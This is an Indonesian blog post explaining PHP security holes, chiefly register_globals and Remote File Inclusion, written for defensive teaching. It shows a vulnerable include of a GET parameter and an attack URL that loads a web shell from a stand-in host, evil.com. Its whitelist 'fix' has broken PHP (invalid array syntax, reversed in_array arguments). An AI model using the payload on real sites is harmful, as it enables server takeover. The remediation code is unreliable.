translate

Selasa, 06 Juli 2010

Pengenalan Celah keamanan pada Aplikasi Web berbasis PHP


PHP adalah salahsatu bahasa pemrograman web yang pengguna dan penikmatnya cukup banyak di area cyberspace. dikarenakan bahasa web ini yang dinamis dan termasuk dalam opensource (info : http://php.net). PHP menjadi “ladang” pengaplikasian berbagai variabel yang ada dalam script secara autoglobal oleh programer dan juga menjadi “ladang” attacking para attacker karena PHP memiliki fasilitas autoglobal pada beberapa variabel :p

GET and POST
Diawali dengan deklarasi variabel GET/POST yang berasal dari fasilitas autoglobal yang ada dalam PHP. variabel register_global yang tersetting “on” pada file php.ini berfungsi untuk membatasi variabel-variabel apa saja yang akan digunakan dalam script php. jika register_global on maka web admin tidak perlu spesifik dalam mendefinisikan variabel dan jika off. maka variabelpun harus di definisikan secara spesifik. seperti ini lah contoh script php nya :

echo $_POST['newhack']; //variabel newhack dikirim dengan methode POST
?>

dari sisi pengamanan settingan on lebih rawan daripada off. dikarenakan variabel-variabel yang dibatasi sangat minim. apabila kita settingan off maka effisiensi code sangat lah besar. jadi, pentingnya register_global sangat di utamakan dalam sebuah aplikasi web yang bertujuan dalam hal pengamanan.

Parameter Include
Berhubungan dengan sub-bab diatas, fasilitas autoglobal pada PHP juga pasti berpengaruh pada parameter fungsi include(), require(), fopen() dan lain-lain. contoh variabel seperti itu dengan mudah dapat diisi dengan variabel GET/POST atau COOKIES/SESSION. karena pengaruh autoglobal itu sendiri.

saya akan memberikan contoh salah-satu bug yang berhubungan dengan variabel-variabel diatas. Remote File Inclusion, bug klasik (mungkin sekarang masih ada :p) yang digunakan untuk me-remote web/server si target.
contoh script PHP :


$file =$_GET['page']; // contoh kita akan menginclude file galeri.php
include($file);
?>

tanpa sanitasi input dalam proses pengeksekusian $file =$_GET['page'];

http://www.site.com/index.php?page=galeri.php

maka attacker akan dengan mudah menginjek proses $file dengan evil scriptnya. contoh menjadi seperti ini

http://www.site.com/index.php?page=http://www.evil.com/r57.txt?

dan bila kita lihat source codenya akan menjadi seperti ini :
$file =”http://www.evil.com/r57.txt?”; / /$_GET['page'];
include($file);
?>

script $file akan menjadi script yang di injekan oleh si attacker. prosesnya seperti ini. pertama, awal dari bug ini adalah lagi-lagi fungsi dari include. fungsi ini berguna untuk menginclude (memasukan) file, yang disini telah dirubah menjadi file remote oleh si attacker. variabel fungsi yang sama terdapat pada include_once(), require(), require_once().
solusi dari bug ini sebenarnya sangat banyak. tapi bagi saya ada beberapa yang efisien digunakan. salah satunya dengan memasukan file yang sah di include ke array. contoh script seperti ini :

$file_valid = new array(“index”,”galeri”,”profil”);

$file = $_GET['page'];
if(!in_array($file_valid,$file)){$file = index;} // fungsi cek file
proses sederahananya seperti ini : $file_valid adalah variabel baru yang dimasukan ke array. lalu code selanjutnya adalah pengecekan ketika $file di injeksi oleh script attacker (www.evil.com/r57.txt) maka file tidak valid karena tidak ada dalam array $file_valid. lalu %file di ganti value (redirect) ke file index.php

0 komentar:

Posting Komentar

 

nabyl alhani elsuyuthi Copyright © 2008 Black Brown Pop Template by Ipiet's Blogger Template